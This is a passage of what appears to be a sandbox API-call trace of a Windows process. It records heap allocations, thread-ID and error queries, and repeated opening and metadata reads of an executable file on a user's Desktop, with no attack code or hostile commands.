[0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c8c0 | out: hHeap=0x2ad0000) returned 1 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.240] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c478 | out: hHeap=0x2ad0000) returned 1 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85178 | out: hHeap=0x2ad0000) returned 1 [0076.241] GetCurrentThreadId () returned 0x9b0 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.241] GetCurrentThreadId () returned 0x9b0 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.241] GetCurrentThreadId () returned 0x9b0 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85190 [0076.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6a8 [0076.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c850b8 [0076.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.242] GetCurrentThreadId () returned 0x9b0 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0076.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c85190 | out: hHeap=0x2ad0000) returned 1 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85250 [0076.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de758 | out: hHeap=0x2ad0000) returned 1 [0076.242] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3183ae0, Size=0x14) returned 0x3183960 [0076.242] GetCurrentThreadId () returned 0x9b0 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85118 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851d8 [0076.242] GetCurrentThreadId () returned 0x9b0 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85028 [0076.242] GetCurrentThreadId () returned 0x9b0 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c85040 [0076.242] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838a0, Size=0x14) returned 0x3183980 [0076.242] GetCurrentThreadId () returned 0x9b0 [0076.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f7d8 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f7d8 | out: hHeap=0x2ad0000) returned 1 [0076.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0076.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361ef48 | out: hHeap=0x2ad0000) returned 1 [0076.243] GetCurrentThreadId () returned 0x9b0 [0076.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361e6b8 | out: hHeap=0x2ad0000) returned 1 [0076.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c8c0 [0076.243] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x361c8c0, Size=0x941) returned 0x34b7df8 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0076.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0076.243] GetCurrentThreadId () returned 0x9b0 [0076.243] GetLastError () returned 0x0 [0076.243] GetLastError () returned 0x0 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85010 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c852c8 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6c8 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de838 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361ef48 [0076.244] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c85298, Size=0x20) returned 0x30281c0 [0076.245] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851f0, Size=0x20) returned 0x3028238 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361cd08 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] GetCurrentThreadId () returned 0x9b0 [0076.245] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c478 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85130 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c85058 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ad400 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.246] GetCurrentThreadId () returned 0x9b0 [0076.246] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361e6b8 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361eb00 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6a8 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.247] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de758, Size=0x14) returned 0x31839e0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.248] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.249] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x31838c0, Size=0x10) returned 0x2c85190 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.250] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.251] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.252] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.253] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.254] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.255] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.256] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.257] GetCurrentThreadId () returned 0x9b0 [0076.258] GetCurrentThreadId () returned 0x9b0 [0076.258] GetCurrentThreadId () returned 0x9b0 [0076.258] GetCurrentThreadId () returned 0x9b0 [0076.258] GetLastError () returned 0x0 [0076.258] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.258] GetFileType (hFile=0x300) returned 0x1 [0076.258] GetCurrentThreadId () returned 0x9b0 [0076.258] GetLastError () returned 0x0 [0076.258] GetFileType (hFile=0x300) returned 0x1 [0076.258] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.258] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.258] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.258] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.259] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.259] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.259] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.259] GetLastError () returned 0x0 [0076.259] GetCurrentThreadId () returned 0x9b0 [0076.259] GetLastError () returned 0x0 [0076.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.259] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0076.259] GetLastError () returned 0x0 [0076.259] GetLastError () returned 0x0 [0076.259] GetCurrentThreadId () returned 0x9b0 [0076.259] GetLastError () returned 0x0 [0076.259] GetCurrentThreadId () returned 0x9b0 [0076.259] GetLastError () returned 0x0 [0076.259] GetLastError () returned 0x0 [0076.259] GetCurrentThreadId () returned 0x9b0 [0076.259] GetLastError () returned 0x0 [0076.260] GetCurrentThreadId () returned 0x9b0 [0076.260] GetLastError () returned 0x0 [0076.260] GetLastError () returned 0x0 [0076.260] GetCurrentThreadId () returned 0x9b0 [0076.260] GetLastError () returned 0x0 [0076.260] GetCurrentThreadId () returned 0x9b0 [0076.260] GetLastError () returned 0x0 [0076.260] GetLastError () returned 0x0 [0076.260] GetCurrentThreadId () returned 0x9b0 [0076.260] GetLastError () returned 0x0 [0076.260] GetLastError () returned 0x0 [0076.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.260] CloseHandle (hObject=0x300) returned 1 [0076.260] GetLastError () returned 0x0 [0076.261] GetCurrentThreadId () returned 0x9b0 [0076.261] GetLastError () returned 0x0 [0076.261] GetLastError () returned 0x0 [0076.261] GetCurrentThreadId () returned 0x9b0 [0076.261] GetLastError () returned 0x0 [0076.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.261] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3620010, Size=0x13b) returned 0x3620010 [0076.261] GetCurrentThreadId () returned 0x9b0 [0076.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.261] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851a8, Size=0x20) returned 0x3028558 [0076.261] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a18c68 [0076.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18c68 | out: hHeap=0x2ad0000) returned 1 [0076.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620010 | out: hHeap=0x2ad0000) returned 1 [0076.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x110) returned 0x2c919d0 [0076.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c919d0 | out: hHeap=0x2ad0000) returned 1 [0076.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7f8 [0076.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34af738 [0076.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263018 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0076.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0076.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetCurrentThreadId () returned 0x9b0 [0076.262] GetLastError () returned 0x0 [0076.262] GetLastError () returned 0x0 [0076.262] GetLastError () returned 0x0 [0076.262] GetLastError () returned 0x0 [0076.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c852c8 | out: hHeap=0x2ad0000) returned 1 [0076.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de838 [0076.262] GetLastError () returned 0x0 [0076.263] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0076.263] GetFileType (hFile=0x300) returned 0x1 [0076.263] GetLastError () returned 0x0 [0076.263] GetCurrentThreadId () returned 0x9b0 [0076.263] GetLastError () returned 0x0 [0076.263] GetFileType (hFile=0x300) returned 0x1 [0076.263] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0076.263] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.263] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.263] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.263] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.263] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0076.263] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0076.263] GetLastError () returned 0x0 [0076.263] GetCurrentThreadId () returned 0x9b0 [0076.264] GetLastError () returned 0x0 [0076.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de838 | out: hHeap=0x2ad0000) returned 1 [0076.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0076.264] GetLastError () returned 0x0 [0076.264] GetLastError () returned 0x0 [0076.264] GetCurrentThreadId () returned 0x9b0 [0076.264] GetLastError () returned 0x0 [0076.264] GetCurrentThreadId () returned 0x9b0 [0076.264] GetLastError () returned 0x0 [0076.264] GetLastError () returned 0x0 [0076.264] GetCurrentThreadId () returned 0x9b0 [0076.264] GetLastError () returned 0x0 [0076.264] GetCurrentThreadId () returned 0x9b0 [0076.264] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc26) returned 0x34b7df8 [0076.264] GetLastError () returned 0x0 [0076.264] GetLastError () returned 0x0 [0076.265] GetCurrentThreadId () returned 0x9b0 [0076.265] GetLastError () returned 0x0 [0076.265] GetCurrentThreadId () returned 0x9b0 [0076.265] GetCurrentThreadId () returned 0x9b0 [0076.265] GetLastError () returned 0x0 [0076.265] GetLastError () returned 0x0 [0076.265] GetCurrentThreadId () returned 0x9b0 [0076.265] GetLastError () returned 0x0 [0076.265] GetLastError () returned 0x0 [0076.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.265] CloseHandle (hObject=0x300) returned 1 [0076.265] GetLastError () returned 0x0 [0076.265] GetCurrentThreadId () returned 0x9b0 [0076.265] GetLastError () returned 0x0 [0076.266] GetLastError () returned 0x0 [0076.266] GetCurrentThreadId () returned 0x9b0 [0076.266] GetLastError () returned 0x0 [0076.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3620010 | out: hHeap=0x2ad0000) returned 1 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3621be8, Size=0x1ef9) returned 0x3621be8 [0076.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34b7df8 | out: hHeap=0x2ad0000) returned 1 [0076.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c851a8 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c851a8, Size=0x20) returned 0x3028558 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028558, Size=0x40) returned 0x2a18e18 [0076.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2c7) returned 0x3304e78 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e18, Size=0x64) returned 0x2a19ab8 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0a40 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x325fcb0 [0076.266] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fcb0, Size=0xe8) returned 0x33d1290 [0076.267] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1290, Size=0x120) returned 0x2c374c0 [0076.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e4) returned 0x3620010 [0076.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0076.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3621be8 | out: 